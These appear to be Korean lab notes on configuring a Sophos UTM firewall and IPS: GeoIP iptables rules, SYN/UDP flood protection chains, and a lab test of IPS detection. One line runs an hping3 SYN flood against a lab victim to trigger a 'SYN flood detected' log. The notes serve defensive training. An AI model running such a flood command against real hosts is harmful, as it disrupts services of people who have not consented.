-A GEOIP_FORWARD -m geoip --destination-country PN,AU,DZ,LB,CR,NO,CC,TD,TW,KM,SR,MQ,TJ,EC,BS  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country BT,PS,ZW,TM,LI,GD,VC,BB,CZ,ZA,SL,ME,CX,SY,AO  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country MT,MG,NP,IM,NR,PG,ST,AW,SZ,KZ,AM,JE,AF,GL,HT  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country VU,MW,QA,TN,PE,SV,BZ,VE,YT,NC,PL,ID,LR,CF,YE  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country FJ,GS,GU,US,DE,SB,UA,SO,CH,CU,IN,WF,GG,MU,LC  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country UG,NL,IQ,GR,BO,SI,TO,ER,GQ,PY,CL,AR,BE,DO,TZ  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country SA,PW,IS,ET,BG,LT,RO,DM,PR,TK,PT,TG,MD,MY,NG  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country LV,SK,FO,AD,AT,TH,KY,EG,MR,IR,VN,GE,CN,GB,GI  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country AG,DK,PA,BI,JP,MN,KG,FM,NE,BL,CD,AX,SM,OM,AL  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country BN,GT,TV,ZM,IE,SE,GM,ES,AE,AQ,UM,MZ,GW,GA,NI  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country VG,FK,KW,BJ,VA,VI,AZ,TF,LY,SC,PF,BA,HN,MM,SH  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country MA,GY,AS,PK,CG,KE,KP,BY,IO,UY,MF,HU,LS,KI,SD  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country IL,MK,TC,RS,KN,BW,TL,SG,WS,NZ,MS,PM,CI,CV,MP  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country CY,RE  -j GEOIP_DROP
-A GEOIP_IN -p tcp -m tcp --sport 1:65535 --dport 4444 -j RETURN
-A GEOIP_IN -m geoip --source-country FI,LU,TT,KH,HK,DJ,LA,JO,IT,HR,LK,CO,BF,MX,SN  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country BR,GP,GH,EE,CA,MV,BM,BD,CM,NF,GF,MO,JM,SJ,MC  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country CK,TR,NU,FR,NA,ML,GN,PH,BH,RU,AI,MH,UZ,KR,RW  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country PN,AU,DZ,LB,CR,NO,CC,TD,TW,KM,SR,MQ,TJ,EC,BS  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country BT,PS,ZW,TM,LI,GD,VC,BB,CZ,ZA,SL,ME,CX,SY,AO  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country MT,MG,NP,IM,NR,PG,ST,AW,SZ,KZ,AM,JE,AF,GL,HT  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country VU,MW,QA,TN,PE,SV,BZ,VE,YT,NC,PL,ID,LR,CF,YE  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country FJ,GS,GU,US,DE,SB,UA,SO,CH,CU,IN,WF,GG,MU,LC  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country UG,NL,IQ,GR,BO,SI,TO,ER,GQ,PY,CL,AR,BE,DO,TZ  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country SA,PW,IS,ET,BG,LT,RO,DM,PR,TK,PT,TG,MD,MY,NG  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country LV,SK,FO,AD,AT,TH,KY,EG,MR,IR,VN,GE,CN,GB,GI  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country AG,DK,PA,BI,JP,MN,KG,FM,NE,BL,CD,AX,SM,OM,AL  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country BN,GT,TV,ZM,IE,SE,GM,ES,AE,AQ,UM,MZ,GW,GA,NI  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country VG,FK,KW,BJ,VA,VI,AZ,TF,LY,SC,PF,BA,HN,MM,SH  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country MA,GY,AS,PK,CG,KE,KP,BY,IO,UY,MF,HU,LS,KI,SD  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country IL,MK,TC,RS,KN,BW,TL,SG,WS,NZ,MS,PM,CI,CV,MP  -j GEOIP_DROP
-A GEOIP_IN -m geoip --source-country CY,RE  -j GEOIP_DROP
:GEOIP_OUT - [0:0]
:GEOIP_REJECT - [0:0]
-A OUTPUT ! -o lo -m conntrack --ctstate INVALID,NEW,RELATED -j GEOIP_OUT
-A GEOIP_OUT -p tcp -m tcp --sport 1:65535 --dport 3400 -m owner --uid-owner 0 -j RETURN
-A GEOIP_OUT -p udp -m set --match-set NhXm9VweIyX1mxo4LPNRGw dst -m udp --sport 123:65535 --dport 123 -j RETURN
-A GEOIP_OUT -m owner --uid-owner 810 -j RETURN
-A GEOIP_OUT -p tcp -m tcp --sport 1024:65535 --dport 53 -j RETURN
-A GEOIP_OUT -p udp -m udp --sport 1024:65535 --dport 53 -j RETURN
-A GEOIP_OUT -p tcp -m tcp --sport 1:65535 -m multiport --dports 80,443 -m owner --uid-owner 0 -j RETURN
-A GEOIP_OUT -m geoip --destination-country FI,LU,TT,KH,HK,DJ,LA,JO,IT,HR,LK,CO,BF,MX,SN  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country BR,GP,GH,EE,CA,MV,BM,BD,CM,NF,GF,MO,JM,SJ,MC  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country CK,TR,NU,FR,NA,ML,GN,PH,BH,RU,AI,MH,UZ,KR,RW  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country PN,AU,DZ,LB,CR,NO,CC,TD,TW,KM,SR,MQ,TJ,EC,BS  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country BT,PS,ZW,TM,LI,GD,VC,BB,CZ,ZA,SL,ME,CX,SY,AO  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country MT,MG,NP,IM,NR,PG,ST,AW,SZ,KZ,AM,JE,AF,GL,HT  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country VU,MW,QA,TN,PE,SV,BZ,VE,YT,NC,PL,ID,LR,CF,YE  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country FJ,GS,GU,US,DE,SB,UA,SO,CH,CU,IN,WF,GG,MU,LC  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country UG,NL,IQ,GR,BO,SI,TO,ER,GQ,PY,CL,AR,BE,DO,TZ  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country SA,PW,IS,ET,BG,LT,RO,DM,PR,TK,PT,TG,MD,MY,NG  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country LV,SK,FO,AD,AT,TH,KY,EG,MR,IR,VN,GE,CN,GB,GI  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country AG,DK,PA,BI,JP,MN,KG,FM,NE,BL,CD,AX,SM,OM,AL  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country BN,GT,TV,ZM,IE,SE,GM,ES,AE,AQ,UM,MZ,GW,GA,NI  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country VG,FK,KW,BJ,VA,VI,AZ,TF,LY,SC,PF,BA,HN,MM,SH  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country MA,GY,AS,PK,CG,KE,KP,BY,IO,UY,MF,HU,LS,KI,SD  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country IL,MK,TC,RS,KN,BW,TL,SG,WS,NZ,MS,PM,CI,CV,MP  -j GEOIP_REJECT
-A GEOIP_OUT -m geoip --destination-country CY,RE  -j GEOIP_REJECT
-A GEOIP_REJECT -m limit --limit 1/sec -m logmark --logmark 60019  -j NFLOG --nflog-prefix  "GEOIP_DROP: "
-A GEOIP_REJECT -p tcp -j REJECT --reject-with tcp-reset
-A GEOIP_REJECT -j REJECT --reject-with icmp-port-unreachable

실습> GEOIP를 iptables에 적용하기

UTM에서 설정할 때는 Country blocking 비활성화하고 적용한다.
[Network Protection] > [Firewall] > [Country Blocking Tab] > [비활성화] 

iptables에 GEOIP 모듈이 올라간 상태에서
UTM 장비에서 설정한 룰을 그대로 가져다 WEB#1에 등록해도 사용할 수 있다.
GEOIP가 인식되지 않으면 룰을 사용할 수 없다. (-m geoip)

iptables -F
systemctl stop firewalld
systemctl disable firewalld
yum -y install iptables-services
iptables -F
iptables -A INPUT -m geoip --source-country FI,LU,TT,KH,HK,DJ,LA,JO,IT,HR,LK,CO,BF,MX,SN  -j ACCEPT
iptables -A INPUT -m geoip --source-country BR,GP,GH,EE,CA,MV,BM,BD,CM,NF,GF,MO,JM,SJ,MC  -j ACCEPT
iptables -A INPUT -m geoip --source-country CK,TR,NU,FR,NA,ML,GN,PH,BH,RU,AI,MH,UZ,KR,RW  -j ACCEPT
iptables -A INPUT -m geoip --source-country PN,AU,DZ,LB,CR,NO,CC,TD,TW,KM,SR,MQ,TJ,EC,BS  -j ACCEPT
iptables -A INPUT -m geoip --source-country BT,PS,ZW,TM,LI,GD,VC,BB,CZ,ZA,SL,ME,CX,SY,AO  -j ACCEPT
iptables -A INPUT -m geoip --source-country MT,MG,NP,IM,NR,PG,ST,AW,SZ,KZ,AM,JE,AF,GL,HT  -j ACCEPT
iptables -A INPUT -m geoip --source-country VU,MW,QA,TN,PE,SV,BZ,VE,YT,NC,PL,ID,LR,CF,YE  -j ACCEPT
iptables -A INPUT -m geoip --source-country FJ,GS,GU,US,DE,SB,UA,SO,CH,CU,IN,WF,GG,MU,LC  -j ACCEPT
iptables -A INPUT -m geoip --source-country UG,NL,IQ,GR,BO,SI,TO,ER,GQ,PY,CL,AR,BE,DO,TZ  -j ACCEPT
iptables -A INPUT -m geoip --source-country SA,PW,IS,ET,BG,LT,RO,DM,PR,TK,PT,TG,MD,MY,NG  -j ACCEPT
iptables -A INPUT -m geoip --source-country LV,SK,FO,AD,AT,TH,KY,EG,MR,IR,VN,GE,CN,GB,GI  -j ACCEPT
iptables -A INPUT -m geoip --source-country AG,DK,PA,BI,JP,MN,KG,FM,NE,BL,CD,AX,SM,OM,AL  -j ACCEPT
iptables -A INPUT -m geoip --source-country BN,GT,TV,ZM,IE,SE,GM,ES,AE,AQ,UM,MZ,GW,GA,NI  -j ACCEPT
iptables -A INPUT -m geoip --source-country VG,FK,KW,BJ,VA,VI,AZ,TF,LY,SC,PF,BA,HN,MM,SH  -j ACCEPT
iptables -A INPUT -m geoip --source-country MA,GY,AS,PK,CG,KE,KP,BY,IO,UY,MF,HU,LS,KI,SD  -j ACCEPT
iptables -A INPUT -m geoip --source-country IL,MK,TC,RS,KN,BW,TL,SG,WS,NZ,MS,PM,CI,CV,MP  -j ACCEPT

[root@web1 geoip]# iptables -nL INPUT
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country FI,LU,TT,KH,HK,DJ,LA,JO,IT,HR,LK,CO,BF,MX,SN
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country BR,GP,GH,EE,CA,MV,BM,BD,CM,NF,GF,MO,JM,SJ,MC
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country CK,TR,NU,FR,NA,ML,GN,PH,BH,RU,AI,MH,UZ,KR,RW
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country PN,AU,DZ,LB,CR,NO,CC,TD,TW,KM,SR,MQ,TJ,EC,BS
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country BT,PS,ZW,TM,LI,GD,VC,BB,CZ,ZA,SL,ME,CX,SY,AO
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country MT,MG,NP,IM,NR,PG,ST,AW,SZ,KZ,AM,JE,AF,GL,HT
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country VU,MW,QA,TN,PE,SV,BZ,VE,YT,NC,PL,ID,LR,CF,YE
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country FJ,GS,GU,US,DE,SB,UA,SO,CH,CU,IN,WF,GG,MU,LC
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country UG,NL,IQ,GR,BO,SI,TO,ER,GQ,PY,CL,AR,BE,DO,TZ
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country SA,PW,IS,ET,BG,LT,RO,DM,PR,TK,PT,TG,MD,MY,NG
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country LV,SK,FO,AD,AT,TH,KY,EG,MR,IR,VN,GE,CN,GB,GI
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country AG,DK,PA,BI,JP,MN,KG,FM,NE,BL,CD,AX,SM,OM,AL
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country BN,GT,TV,ZM,IE,SE,GM,ES,AE,AQ,UM,MZ,GW,GA,NI
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country VG,FK,KW,BJ,VA,VI,AZ,TF,LY,SC,PF,BA,HN,MM,SH
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country MA,GY,AS,PK,CG,KE,KP,BY,IO,UY,MF,HU,LS,KI,SD
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country IL,MK,TC,RS,KN,BW,TL,SG,WS,NZ,MS,PM,CI,CV,MP

실습> 국가별 패킷 카운터 확인

1. 대한민국 패킷 카운터 확인
[root@web1 geoip]# iptables -Z
[root@web1 geoip]# iptables -nvL INPUT | grep -E 'pkts|KR'
 pkts bytes target     prot opt in     out     source               destination         
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country CK,TR,NU,FR,NA,ML,GN,PH,BH,RU,AI,MH,UZ,KR,RW 

[root@web1 geoip]# ping -c 3 168.126.63.1
PING 168.126.63.1 (168.126.63.1) 56(84) bytes of data.
64 bytes from 168.126.63.1: icmp_seq=1 ttl=127 time=5.11 ms
64 bytes from 168.126.63.1: icmp_seq=2 ttl=127 time=4.52 ms
64 bytes from 168.126.63.1: icmp_seq=3 ttl=127 time=6.44 ms

--- 168.126.63.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 4.527/5.364/6.448/0.807 ms

[root@web1 geoip]# iptables -nvL INPUT | grep -E 'pkts|KR'
 pkts bytes target     prot opt in     out     source               destination         
    3   252 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country CK,TR,NU,FR,NA,ML,GN,PH,BH,RU,AI,MH,UZ,KR,RW 

2. 미국 패킷 카운터 확인
[root@web1 geoip]# iptables -nvL INPUT | grep -E 'pkts|US'
 pkts bytes target     prot opt in     out     source               destination         
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country FJ,GS,GU,US,DE,SB,UA,SO,CH,CU,IN,WF,GG,MU,LC 

[root@web1 geoip]# ping -c 5 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=127 time=49.7 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=127 time=49.0 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=127 time=52.5 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=127 time=49.3 ms
64 bytes from 8.8.8.8: icmp_seq=5 ttl=127 time=49.4 ms

--- 8.8.8.8 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4009ms
rtt min/avg/max/mdev = 49.060/50.036/52.557/1.312 ms

3. 브라질 패킷 카운터 확인
[root@web1 geoip]# iptables -nvL INPUT | grep -E 'pkts|US'
 pkts bytes target     prot opt in     out     source               destination         
    5   420 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country FJ,GS,GU,US,DE,SB,UA,SO,CH,CU,IN,WF,GG,MU,LC 

[root@web1 geoip]# iptables -nvL INPUT | grep -E 'pkts|BR'
 pkts bytes target     prot opt in     out     source               destination
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country BR,GP,GH,EE,CA,MV,BM,BD,CM,NF,GF,MO,JM,SJ,MC
[root@web1 geoip]# ping -c 2 200.200.200.1
PING 200.200.200.1 (200.200.200.1) 56(84) bytes of data.
64 bytes from 200.200.200.1: icmp_seq=1 ttl=127 time=0.483 ms
64 bytes from 200.200.200.1: icmp_seq=2 ttl=127 time=0.490 ms

--- 200.200.200.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.483/0.486/0.490/0.022 ms
[root@web1 geoip]# iptables -nvL INPUT | grep -E 'pkts|BR'
 pkts bytes target     prot opt in     out     source               destination
    2   168 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country BR,GP,GH,EE,CA,MV,BM,BD,CM,NF,GF,MO,JM,SJ,MC

전체 패킷 카운터를 확인한다.
[root@web1 geoip]# iptables -nvL
Chain INPUT (policy ACCEPT 210 packets, 12549 bytes)
 pkts bytes target     prot opt in     out     source               destination
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country FI,LU,TT,KH,HK,DJ,LA,JO,IT,HR,LK,CO,BF,MX,SN
    2   168 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country BR,GP,GH,EE,CA,MV,BM,BD,CM,NF,GF,MO,JM,SJ,MC
    6   480 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country CK,TR,NU,FR,NA,ML,GN,PH,BH,RU,AI,MH,UZ,KR,RW
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country PN,AU,DZ,LB,CR,NO,CC,TD,TW,KM,SR,MQ,TJ,EC,BS
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country BT,PS,ZW,TM,LI,GD,VC,BB,CZ,ZA,SL,ME,CX,SY,AO
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country MT,MG,NP,IM,NR,PG,ST,AW,SZ,KZ,AM,JE,AF,GL,HT
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country VU,MW,QA,TN,PE,SV,BZ,VE,YT,NC,PL,ID,LR,CF,YE
    5   420 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country FJ,GS,GU,US,DE,SB,UA,SO,CH,CU,IN,WF,GG,MU,LC
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country UG,NL,IQ,GR,BO,SI,TO,ER,GQ,PY,CL,AR,BE,DO,TZ
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country SA,PW,IS,ET,BG,LT,RO,DM,PR,TK,PT,TG,MD,MY,NG
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country LV,SK,FO,AD,AT,TH,KY,EG,MR,IR,VN,GE,CN,GB,GI
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country AG,DK,PA,BI,JP,MN,KG,FM,NE,BL,CD,AX,SM,OM,AL
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country BN,GT,TV,ZM,IE,SE,GM,ES,AE,AQ,UM,MZ,GW,GA,NI
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country VG,FK,KW,BJ,VA,VI,AZ,TF,LY,SC,PF,BA,HN,MM,SH
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country MA,GY,AS,PK,CG,KE,KP,BY,IO,UY,MF,HU,LS,KI,SD
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            -m geoip --source-country IL,MK,TC,RS,KN,BW,TL,SG,WS,NZ,MS,PM,CI,CV,MP
########
## IPS 
########

실습> IPS 방화벽 룰 분석

IPS 활성화 하기 전 방화벽룰을 iptables1.txt로 저장한다.
utm9:/root # iptables-save > iptables1.txt 

IPS 활성화 한 후 방화벽룰을 iptables2.txt로 저장한다.
utm9:/root # iptables-save > iptables2.txt 

라인 수를 비교하면 30줄 정도 차이가 난다.
utm9:/root # wc -l iptables1.txt iptables2.txt 
  228 iptables1.txt
  258 iptables2.txt
  486 total

utm9:/root # diff iptables1.txt iptables2.txt 
utm9:/root # vimdiff iptables1.txt iptables2.txt 

utm9:/root # grep NFQUEUE iptables1.txt 

IPS기능을 활성화 하면 snort의 NFQUEUE가 올라온 것을 확인할 수 있다.
utm9:/root # grep NFQUEUE iptables2.txt 
-A INPUT -m condition --condition "snort-takeover"  -j NFQUEUE --queue-num 16000
-A INPUT -j NFQUEUE --queue-num 0
-A FORWARD -m condition --condition "snort-takeover"  -j NFQUEUE --queue-num 16000
-A FORWARD -j NFQUEUE --queue-num 0
-A OUTPUT -m condition --condition "snort-takeover"  -j NFQUEUE --queue-num 16000
-A OUTPUT -j NFQUEUE --queue-num 0

실습> IPS 설정

1. IPS 가 Off 인 경우
[Network Protection] > [Intrusion Prevention] > [Global] > Off
기본값은 꺼져있다.

2. IPS 가 On 인 경우
[Network Protection] > [Intrusion Prevention] > [Global] > On

보호할 네트워크를 지정한다.
[Global IPS Settings] > [Local Networks]> 
아래 2개를 추가한다.
DMZ(Network)
Internal(Network)

Apply 버튼을 클릭해서 IPS를 활성화 시킨다.

3. 로그 모니터링
공격에 관한 로그들을 확인하기 위해서 모니터링한다.

[Open Live Log] 버튼을 클릭한다.

4. 로그 모니터링 URL 확인
https://192.168.10.253:4444/logwin.html


utm9:/root # find / -name logwin.html 2> /dev/null
/var/sec/chroot-httpd/var/webadmin/logwin.html

utm9:/var/sec/chroot-httpd/var/webadmin # ls -F
astaro-license.txt  extra/             img/         printable_configuration/    var/
blank.html          favicon.ico        libs/        querylogwin.html            vendor/
config@             flow_monitor.html  locales/     up2date_progress.plx*       webadmin.plx*
core/               help/              logwin.html  upload_form.html            wfe/
epsecd.conf         hotspot-files@     manual/      utm-3rd-party-licenses.txt

utm9:/var/sec/chroot-httpd/var/webadmin # ls manual/
manual-de.pdf  manual-en.pdf  manual-jp.pdf

메뉴얼을 접속한다.
https://192.168.10.253:4444/manual/manual-en.pdf


[Network Protection] > [Intrusion Prevention] > [Anti/DOS flooding] 

[ ] Use TCP SYN Flood Protection
utm9:/root # iptables-save > iptablesTCP_syn_flood1.txt

[v] Use TCP SYN Flood Protection
utm9:/root # iptables-save > iptablesTCP_syn_flood2.txt

vimdiff: vi 로 두 파일의 서로 다른 부분을 보여준다.
utm9:/root # vimdiff iptablesTCP_syn_flood1.txt iptablesTCP_syn_flood2.txt 
  :
  :(생략)

차이점: iptablesTCP_syn_flood2.txt 에 저장된 룰
-A DOS_FLOOD_PROTECTION -p udp -j UDP_FLOOD

-A UDP_FLOOD -j UDP_FLOOD_SRC     
-A UDP_FLOOD_DROP -m limit --limit 5/sec -m logmark 
-A UDP_FLOOD_DROP -j DROP 
  :
  :(생략)

utm9:/root # diff iptablesTCP_syn_flood1.txt iptablesTCP_syn_flood2.txt 
  :
  :(생략)
< :OUTPUT ACCEPT [40:5706]
---
> :OUTPUT ACCEPT [19:1242]
248a249
> -A DOS_FLOOD_PROTECTION -p udp -j UDP_FLOOD
256a258,264
> -A UDP_FLOOD -j UDP_FLOOD_SRC
> -A UDP_FLOOD_DROP -m limit --limit 5/sec -m logmark --logmark 60013  -j NFLOG --nflog-prefix  "UDP_FLOOD:"
> -A UDP_FLOOD_DROP -j DROP
> -A UDP_FLOOD_DST -m hashlimit --hashlimit-upto 303/sec --hashlimit-burst 300 --hashlimit-mode dstip --hashlimit-name UDP_FLOOD_DST --hashlimit-htable-expire 10000 -j SPOOFING_PROTECTION
> -A UDP_FLOOD_DST -j UDP_FLOOD_DROP
> -A UDP_FLOOD_SRC -m hashlimit --hashlimit-upto 200/sec --hashlimit-burst 200 --hashlimit-mode srcip --hashlimit-name UDP_FLOOD_SRC --hashlimit-htable-expire 10000 -j UDP_FLOOD_DST
> -A UDP_FLOOD_SRC -j UDP_FLOOD_DROP
258c266
< # Completed on Thu Apr 13 17:29:42 2023
---
> # Completed on Thu Apr 13 17:30:02 2023


CentOS7에 모듈이 있는지 확인한다.
[root@web1 geoip]#  cd
[root@web1 ~]# ls /usr/lib64/xtables/*hash*
/usr/lib64/xtables/libxt_hashlimit.so
[root@web1 ~]# iptables -F
[root@web1 ~]# iptables -N SYN_FLOOD_SRC
[root@web1 ~]# iptables -N SYN_FLOOD_DST
[root@web1 ~]# iptables -A INPUT -m hashlimit --hashlimit-upto 100/sec --hashlimit-burst 100 --hashlimit-mode srcip --hashlimit-name SYN_FLOOD_SRC --hashlimit-htable-expire 10000 -j SYN_FLOOD_DST   
[root@web1 ~]# iptables -nL INPUT
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
SYN_FLOOD_DST  all  --  0.0.0.0/0            0.0.0.0/0            limit: up to 100/sec burst 100 mode srcip htable-expire 10000

[root@web1 ~]# iptables -N SPOOFING_PROTECTION
[root@web1 ~]# iptables -A SYN_FLOOD_DST -m hashlimit --hashlimit-upto 200/sec --hashlimit-burst 200 --hashlimit-mode dstip --hashlimit-name SYN_FLOOD_DST --hashlimit-htable-expire 10000 -j SPOOFING_PROTECTION

설정된 룰을 확인한다.
[root@web1 ~]# iptables -nvL
Chain INPUT (policy ACCEPT 32 packets, 1920 bytes)
 pkts bytes target     prot opt in     out     source               destination
   88  6020 SYN_FLOOD_DST  all  --  *      *       0.0.0.0/0            0.0.0.0/0            limit: up to 100/sec burst 100 mode srcip htable-expire 10000

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 18 packets, 2192 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain SPOOFING_PROTECTION (1 references)
 pkts bytes target     prot opt in     out     source               destination

Chain SYN_FLOOD_DST (1 references)
 pkts bytes target     prot opt in     out     source               destination
   32  1920 SPOOFING_PROTECTION  all  --  *      *       0.0.0.0/0            0.0.0.0/0            limit: up to 200/sec burst 200 mode dstip htable-expire 10000

Chain SYN_FLOOD_SRC (0 references)
 pkts bytes target     prot opt in     out     source               destination

확인이 끝나면 모든 룰을 삭제한다.
[root@web1 ~]# iptables -F

실습> TCP SYN flooding

정상 접속
  Attacker        S        Victim
 SYN_SENT   -------------> 
                 S/A
            <------------- SYN_RECV
                 A
ESTABLISHED -------------> ESTABLISHED 


비정상 접속(TCP SYN flooding)
--random-source 옵션이 있는 경우
  Attacker        S        Victim              S/A
 SYN_SENT   ------------->       SYN_RECV ------------->
            ------------->                ------------->
                 :                              :
                 :(생략)                        :(생략)

1. Victim 접속

         L3:                    DNAT
         src: 200.200.200.1     src: 200.200.200.1      src: 200.200.200.1  
         dst: 200.200.200.101   dst: 172.16.10.101      dst: 172.16.10.101

[Host OS] -------------------> [UTM] -------------------> [Victim]
[Host OS] <------------------- [UTM] <------------------- [Victim]
                                src: 172.16.10.101  <-----
                                dst: 200.200.200.1  <-----
         src: 200.200.200.101
         dst: 200.200.200.1

http://200.200.200.101/
Welcome to www.server1.kr!



2. IPS 가 On 경우
[Network Protection] > [Intrusion Prevention] > [Global] > ON
기본값은 꺼져있다.

보호할 네트워크를 지정한다.
[Global IPS Settings] > [Local Networks]> 
아래 2개를 추가한다.
DMZ(Network)
Internal(Network)

Apply 버튼을 클릭해서 IPS를 활성화 시킨다.

3. 로그 모니터링
공격에 관한 로그들을 확인하기 위해서 모니터링한다.
[Open Live Log] 버튼을 클릭한다.

4. 패킷 모니터링
SSH로 접속해서 tcpdump로 패킷을 모니터링한다.
utm9:/root # tcpdump -i eth0 port 80 -nn
[root@web1 ~]# tcpdump -i ens33 port 80 -nn

5. 공격 시도
hping3를 이용해서 TCP SYN flooding을 시도한다.
[root@kali ~]# hping3 -p 80 -S --flood 200.200.200.101

6. 로그 확인
[Open Live Log] 에서 확인한다.
  :
  :(생략)
2023:04:14-09:47:07 utm9 ulogd[4587]: id="2103" severity="info" sys="SecureNet" sub="ips" name="SYN flood detected" action="SYN flood" fwrule="60012" initf="eth0" srcmac="00:0c:29:28:37:34" dstmac="00:0c:29:7e:8e:60" srcip="200.200.200.3" dstip="200.200.200.101" proto="6" length="40" tos="0x00" prec="0x00" ttl="64" srcport="30738" dstport="80" tcpflags="SYN"
